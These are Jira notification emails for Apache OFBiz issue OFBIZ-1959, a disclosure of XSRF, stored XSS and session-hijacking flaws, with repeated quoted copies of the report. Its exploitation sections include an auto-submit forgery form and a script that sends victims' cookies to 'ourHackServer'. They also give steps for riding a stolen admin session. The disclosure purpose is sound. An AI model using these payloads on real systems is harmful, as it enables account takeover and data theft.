> str="<a rel="nofollow" href="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL">http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL</a>;
>
> if(document.cookie.indexOf("done")<0)\{
> document.cookie="done=true";
>
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[
https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12630879#action_12630879
]
Michele Orru commented on OFBIZ-1959:
-
Of course I tested all of them on Ofbiz, and the examples that you can see in
my post are all relevant to Ofbiz.
The action on the form method is
https://127.0.0.1:8443/catalog/control/createProduct.
The internalName is an attribute of Product.
- Every attack was tested on the latest Ofbiz SVN trunk.
- The attacks I posted are not only XSS: XSRF is definitely not an XSS.
- The XSRF and Session Hijacking attacks were not already present in your
Issue Tracker.
- One possible mitigation is to add new functionalities to
org.ofbiz.base.util.UtilValidate, that is from ofbiz APIs.
The XSS ticket is still open from 2 years, maybe because as Jaques Le Roux said
these attacks are not
critical issues for you. When I will have time I will fix them, but maybe we
can discuss how to protect Ofbiz
from the latest threats instead of don't do nothing.
{quote}
I don't see any thing relative to ofbiz in this post
just general Java.
have you tested this with ofbiz to verify.
also we have other issues that referred to XSS.
Search the Jira for it.
{quote}
> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and
> mitigation
>
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Bug
> Components: ALL COMPONENTS
>Affects Versions: SVN trunk
>Reporter: Michele Orru
>Priority: Critical
> Fix For: SVN trunk
>
>
> +++|||Discovered security
> issues|||+
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end
> requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and
> so on
> 3.: Session Hijacking
> +++|||Exploitation|||+
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST
> request
> parameters are never "fortified" to prevent XSRF: no random token protection
> can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the
> attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like
> http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose
> description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the
> middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following
> innocuous one:
>
>
> action="https://127.0.0.1:8443/catalog/control/createProduct";>
>
>
>
>
>
> document.xsrf.submit();
> Of course the product-creation mechanism is not finished (we need price,
> content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of
> the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent
> to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in
> the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the
> browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some
> stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a
> needed
> parameter is quite un-useful and so prone to store our malicious code) with
> something
> like:
>
>
> value="alert(document.cookie)">
>
> The malicious code will display every cookie information in a pop-up, that
> only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12630874#action_12630874 ] BJ Freeman commented on OFBIZ-1959: --- I don't see any thing relative to ofbiz in this post just general Java. have you tested this with ofbiz to verify. also we have other issues that referred to XSS. Search the Jira for it. > Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and > mitigation > > > Key: OFBIZ-1959 > URL: https://issues.apache.org/jira/browse/OFBIZ-1959 > Project: OFBiz > Issue Type: Bug > Components: ALL COMPONENTS >Affects Versions: SVN trunk >Reporter: Michele Orru >Priority: Critical > Fix For: SVN trunk > > > +++|||Discovered security > issues|||+ > > 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end > requests > 2.: reflected/stored XSS in search, ProductId/Product Internal name and > so on > 3.: Session Hijacking > +++|||Exploitation|||+ > 1.: As can be verified with your favorite proxy tool (we use Burp), POST > request > parameters are never "fortified" to prevent XSRF: no random token protection > can be seen. > For those who don't know what a XSRF is: briefly it is a request that me, the > attacker, force you (the victim) > to executes. > - In GET requests it will be a link like > http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is > a potential victim account and 667 the attacker one. > - In POST requests it will be an auto-submit form or a XMLHttpRequest > (if we would like to be more sophisticated). > I can force a victim to execute such a request in various methods, whose > description is out from the scope of this ISSUE: > malicious mail link, link in chat programs, malicious pages, man in the > middle attacks, malicious Flash/Applets/ActiveX, and so on. > The quick-and dirty code to make the XSRF attack looks as the following > innocuous one: > > > action="https://127.0.0.1:8443/catalog/control/createProduct";> > > > > > > document.xsrf.submit(); > Of course the product-creation mechanism is not finished (we need price, > content and ProductName), > but is just to let you understand. > When this JS code will be present in a malicious page (opened by a new tab of > the same browser - not Chrome ahah), > his content will be automatically executed and the POST request will be sent > to the application: the product with Id=hack02 > will be persisted inside the DB. Of course a valid party must be logged in > the catalog module, in a way > that the global JSESSIONID cookie value will be the same in every tab of the > browser. > Clearly we can do more than this... > 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some > stored, > exploit them is quite easy: we will exploited only stored ones. > We can for instance replace the value of internalName (that even if it is a > needed > parameter is quite un-useful and so prone to store our malicious code) with > something > like: > > > value="alert(document.cookie)"> > > The malicious code will display every cookie information in a pop-up, that > only the victim > will see: obviously we don't want this. > 3.: We can then create a little cookie-grabber servlet that listen for GET > request from > our victims, extract the useful parameters and store them in a file or DB, in > a way > that wen can hijack the session of the admin/manager. > > The internalName value is prone to store our malicious code also because his > maxlength > is 255 characters: this gives us a great advantage when creating a complex > injection code, > if we don't want to inject a link to the malicious script like > http://x.x.x.x/malicious.js";> > > The malicious code will look as the following one: > > > var > str="<a rel="nofollow" href="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL">http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+d
[jira] Created: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and
mitigation
Key: OFBIZ-1959
URL: https://issues.apache.org/jira/browse/OFBIZ-1959
Project: OFBiz
Issue Type: Bug
Components: ALL COMPONENTS
Affects Versions: SVN trunk
Reporter: Michele Orru
Priority: Critical
Fix For: SVN trunk
+++|||Discovered security issues|||+
1.: Cross Site Request Forgery (XSRF) on almost every front/back-end
requests
2.: reflected/stored XSS in search, ProductId/Product Internal name and
so on
3.: Session Hijacking
+++|||Exploitation|||+
1.: As can be verified with your favorite proxy tool (we use Burp), POST request
parameters are never "fortified" to prevent XSRF: no random token protection
can be seen.
For those who don't know what a XSRF is: briefly it is a request that me, the
attacker, force you (the victim)
to executes.
- In GET requests it will be a link like
http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
a potential victim account and 667 the attacker one.
- In POST requests it will be an auto-submit form or a XMLHttpRequest
(if we would like to be more sophisticated).
I can force a victim to execute such a request in various methods, whose
description is out from the scope of this ISSUE:
malicious mail link, link in chat programs, malicious pages, man in the middle
attacks, malicious Flash/Applets/ActiveX, and so on.
The quick-and dirty code to make the XSRF attack looks as the following
innocuous one:
https://127.0.0.1:8443/catalog/control/createProduct";>
document.xsrf.submit();
Of course the product-creation mechanism is not finished (we need price,
content and ProductName),
but is just to let you understand.
When this JS code will be present in a malicious page (opened by a new tab of
the same browser - not Chrome ahah),
his content will be automatically executed and the POST request will be sent to
the application: the product with Id=hack02
will be persisted inside the DB. Of course a valid party must be logged in the
catalog module, in a way
that the global JSESSIONID cookie value will be the same in every tab of the
browser.
Clearly we can do more than this...
2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some
stored,
exploit them is quite easy: we will exploited only stored ones.
We can for instance replace the value of internalName (that even if it is a
needed
parameter is quite un-useful and so prone to store our malicious code) with
something
like:
The malicious code will display every cookie information in a pop-up, that only
the victim
will see: obviously we don't want this.
3.: We can then create a little cookie-grabber servlet that listen for GET
request from
our victims, extract the useful parameters and store them in a file or DB, in a
way
that wen can hijack the session of the admin/manager.
The internalName value is prone to store our malicious code also because his
maxlength
is 255 characters: this gives us a great advantage when creating a complex
injection code,
if we don't want to inject a link to the malicious script like
http://x.x.x.x/malicious.js";>
The malicious code will look as the following one:
var
str="<a rel="nofollow" href="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL">http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL</a>;
if(document.cookie.indexOf("done")<0)\{
document.cookie="done=true";
document.location.replace(str);
}
Of course the code can be a lot shorter, and the "already-exploited-check" can
be removed.
After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL
(remember document.URL) that will be an
authentication-required resource, the login page will ask us for valid
credentials.
In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new
cookie has been
given to us, because we don't have one. If we modify the JSESSIONID value with
the grabbed
one, and we make the previous request another time (just refresh on the login
page), then
we are riding the same victim session. If we are lucky and it's an admin, we
can do
whatever we want on his/her behalf.
+++|||Mitigation|||+
